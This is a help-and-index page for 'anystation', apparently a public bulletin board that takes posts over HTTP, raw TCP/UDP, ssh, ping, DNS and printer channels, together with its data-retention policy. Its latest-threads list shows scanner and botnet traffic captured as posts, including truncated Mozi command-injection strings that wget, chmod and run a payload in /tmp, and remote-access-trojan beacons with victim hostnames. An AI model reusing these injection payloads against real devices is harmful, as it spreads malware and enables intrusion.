anystation :: calling any station
=================================
A public bulletin board shaped like a tree. Accessible by many means and protocols. No account required.
Paths below are relative to wherever you reached us.
EVERY POST HAS AN ADDRESS
/<id> a post. the LAST id is what counts...
/<id>/<id>/<id> ...the ids before it are its ancestry (shown for readability;
a wrong ancestry is a 404, a bare /<id> always works)
/ this root is a post too — post here to start a new thread
ids are 16 hex chars; an unambiguous prefix of 4+ works: /2b72
READ an address (GET) -> the post + one page of its direct replies, each with its reply count
GET /<addr> human (browser) or plain text (curl)
GET /<addr>.json machine view (or send Accept: application/json)
GET /<addr>?offset=50&limit=50 pagination — oldest first under a post, newest first at the root
GET /search?q=word text, id prefix, or station hash (paginated the same way)
GET /raw/<id> original bytes of a non-text arrival (e.g. a print job)
WRITE to an address (any of these) -> a reply to that post (or a new thread, at /)
POST /<addr> body = your message
GET /<addr>?msg=hello query string
ANY /<addr> header X-Message: hello
GET /<addr>/post/aGVsbG8 payload in the path (raw, or base64url)
OTHER WAYS IN (no http)
echo hello | nc HOST 418 raw tcp — end with EOF, a blank line, or 3s of silence
echo hello | nc -u HOST 418 raw udp — one datagram, one post
print to HOST:9100 add us as a raw/JetDirect printer; what you print is posted
email post@HOST subject = first line; email <id>@HOST to reply to a post
ssh HOST any username, no password: a tiny shell to read + post
ssh HOST post "hello" one-shot; echo hi | ssh HOST post also works
ping -c1 -p 6869 HOST ping! the -p pattern (hex, ≤16 bytes) is your text; any text payload
works too (raw socket, nping --data-string). or morse:
./morse-ping.sh "sos" HOST timing-morse with ping bursts (script at /morse-ping.sh — read it first)
dig hello-there.msg.HOST TXT dns! labels are words, hyphens are spaces. add a label re-<id>
to reply. dig <id>.msg.HOST TXT reads a post; latest.msg.HOST lists
echo hello | nc HOST 12345 ...or ANY port at all. every port is open. text that isn't a
known protocol becomes a post; everything is logged at /band
(start with a line "re <id>" or "/<id>/<id>" to reply to a post)
WHAT WE KEEP (asked by a poster, 2026-09-09; the honest version)
shown publicly: your text, the time, the channel, and a station id — the first 8 hex of a
salted sha256 of your address. it can't be reversed, but the same address always gets the
same id, so your posts are linkable to each other. the board is public and gets indexed.
on disk, not shown: the raw address each post came from, for as long as the post exists.
the band log (/band): first 1 KB of every knock on any port, station id not address, 7 days.
the kernel log: source addresses of knocks on non-channel ports (firewall log), rotated by size.
email: sender address dropped from the text. no web access log, cookies, analytics, or forwarding.
who sees the raw part: the operator, and whoever could compel the operator or the host (aws).
=> anonymous to readers: yes. to the operator: no. if that matters, come in through tor;
every channel works from anywhere and the station id then belongs to the exit.
LIMITS 128 KB per post · 60/min and 1000 posts, 4 MB per day per station ·
the board keeps ~12 GB and rotates the oldest threads out
the same text sent again by the same station to the same address within a minute folds into one post (shown ×N) ·
the same text arriving from 20+ stations within 5 minutes is a sweep, not a message, and is dropped
FULL MENU, MACHINE-READABLE: /.well-known/anystation
SECURITY / CONTACT THE OPERATOR: /.well-known/security.txt (policy at /security)
Rules: be kind, keep it legal. This is for routing around your OWN device's
limits, not for hiding from anyone. Every channel is documented on purpose. DON'T PANIC.
LATEST THREADS (3360 total; 1–50)
/0c1fdc3347238c1b 2026-09-28T03:12:12.412Z [0 repl] HELLOKETTLE
/f02d47640e117680 2026-09-28T01:54:02.881Z [0 repl] ewqdascxz
/3dd098c2d0a04ca2 2026-09-28T01:51:32.149Z [0 repl] ewqdascxz
/56ebbbbbf6a7d0c5 2026-09-27T20:11:02.935Z [0 repl] MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD
/8d585cb3b7813df6 2026-09-27T16:46:37.891Z [0 repl] RQNT 1 *@gateway44.myplace.com MGCP 0.1
/cbd3c2573ddd9e34 2026-09-27T16:09:50.835Z [0 repl] google.com
/e756cb8f52b1d9f2 2026-09-27T14:31:40.836Z [0 repl] gzhi#e
/ab1e38accead31e8 2026-09-27T14:29:42.701Z [0 repl] 中秋快乐#egz
/869a9d87ae366614 2026-09-27T11:05:28.089Z [0 repl] sryx
/30df813ce8c14340 2026-09-27T08:58:10.177Z [0 repl] y crIWPROB
/2f6f04b444f9ddbd 2026-09-27T07:56:42.425Z [0 repl] Ahgn
/73ed29dccb29913a 2026-09-27T06:31:12.137Z [0 repl] uLfZ
/0b1ffc1f071bb941 2026-09-27T06:03:03.783Z [0 repl] PÜq
/06ee6fdb35c8fa8b 2026-09-27T04:31:07.572Z [0 repl] sfWK
/519a6fbadc5d67f8 2026-09-27T04:10:17.288Z [0 repl] STAR Switch S2800 V4.0
/318392e84b2fa93b 2026-09-27T03:00:39.210Z [0 repl] ipN
/3181f77485cd212d 2026-09-27T02:59:17.139Z [0 repl] 5b5e64c03e99b511000000000000000001100200000000000000015000000134000000010000000100000128010100080300…
/6a8e8b1e7e67dd1b 2026-09-27T00:40:51.417Z [0 repl] ZcAh
/2dc71db125f87151 2026-09-27T00:32:32.834Z [0 repl] UxbB
/f503cb0502c92ca5 2026-09-26T22:03:15.913Z [0 repl] nVERSION
/ca188a2edfea5680 2026-09-26T21:57:01.412Z [0 repl] NXSH-5.6.7\n
/991d78f1ec0a7369 2026-09-26T17:52:32.812Z [0 repl] root
/2852ce39582342f0 2026-09-26T16:44:12.645Z [0 repl] call.startblast 2000 3
/c47f0ade500b5bcf 2026-09-26T14:08:55.673Z [0 repl] 27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}Mozi.7;${IFS}busybox${IFS}wget${IFS}h…
/159c6d219d634112 2026-09-26T12:52:52.792Z [0 repl] VPSPING1'!B7
/858aa0d6422985cc 2026-09-26T09:56:29.961Z [0 repl] Muc
/463eacdbe6463a52 2026-09-26T05:08:48.468Z [0 repl] 'FO$IWPROB
/80943a9d73dbef5b 2026-09-26T04:57:56.870Z [0 repl] Action: Login
/127d31d0ee9625cf 2026-09-26T02:25:11.383Z [0 repl] 27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.…
/306d755b046f4eea 2026-09-26T00:53:36.693Z [0 repl] 27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.…
/9bce3512edf3708d 2026-09-26T00:39:06.687Z [0 repl] stats settings
/a07ec89073e095f8 2026-09-25T22:21:45.461Z [0 repl] Action: Login
/4da81beb00721e85 2026-09-25T17:32:57.428Z [0 repl] [binary print job, 615 bytes — no text extracted; original at /raw/<id>]
/5619726ee7b49fe5 2026-09-25T17:24:17.278Z [0 repl] MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD
/25225a0d1b52bdbe 2026-09-25T15:47:31.589Z [0 repl] THju
/775fd792a1fa70d9 2026-09-25T14:16:08.910Z [0 repl] Action: Login
/8611626107b6c2e3 2026-09-25T12:14:48.339Z [0 repl] google.com
/45b3154c15bb725a 2026-09-25T11:43:23.810Z [0 repl] WtU
/920f18d2d97419c5 2026-09-25T07:36:52.080Z [0 repl] infragrab-finger-probe
/07de615834d17eb2 2026-09-25T07:36:46.232Z [0 repl] infragrab-finger-probe
/702ce6d0535309de 2026-09-25T07:27:31.594Z [0 repl] ver
/8de8adca6a3e0777 2026-09-25T07:17:02.277Z [0 repl] 145.ll|'|'|SGFjS2VkX0Q0OTkwNjI3|'|'|WIN-JNAPIER0859|'|'|JNapier|'|'|19-02-01|'|'||'|'|Win 7 Professi…
/11eae0a032b56974 2026-09-25T07:16:57.594Z [0 repl] lv|'|'|VHJvamFuX0M0NkY2RTk=|'|'|MARK|'|'|user|'|'|2013-11-22|'|'||'|'|Win XP|'|'|No|'|'|0.6.4|'|'|..…
/6b21738e48d5e3d8 2026-09-25T07:03:29.895Z [0 repl] TVNM1
MNRD1
SWVN1
IPPV1
/f8e0c008dfdad566 2026-09-25T04:58:00.517Z [0 repl] root
/bcc6daee751ee7dc 2026-09-25T02:36:46.534Z [0 repl] [binary print job, 517 bytes — no text extracted; original at /raw/<id>]
/bfda8e1198bde363 2026-09-25T02:36:31.289Z [0 repl] [binary print job, 1560 bytes — no text extracted; original at /raw/<id>]
/77d97b9ea34014a8 2026-09-25T02:32:50.061Z [0 repl] Action: Login
/9accd6aa1460fa59 2026-09-25T00:12:34.762Z [0 repl] 145.ll|'|'|SGFjS2VkX0Q0OTkwNjI3|'|'|WIN-JNAPIER0859|'|'|JNapier|'|'|19-02-01|'|'||'|'|Win 7 Professi…
/3c450e4a76c6abef 2026-09-25T00:12:30.058Z [0 repl] lv|'|'|VHJvamFuX0M0NkY2RTk=|'|'|MARK|'|'|user|'|'|2013-11-22|'|'||'|'|Win XP|'|'|No|'|'|0.6.4|'|'|..…more -> 1–50 of 3360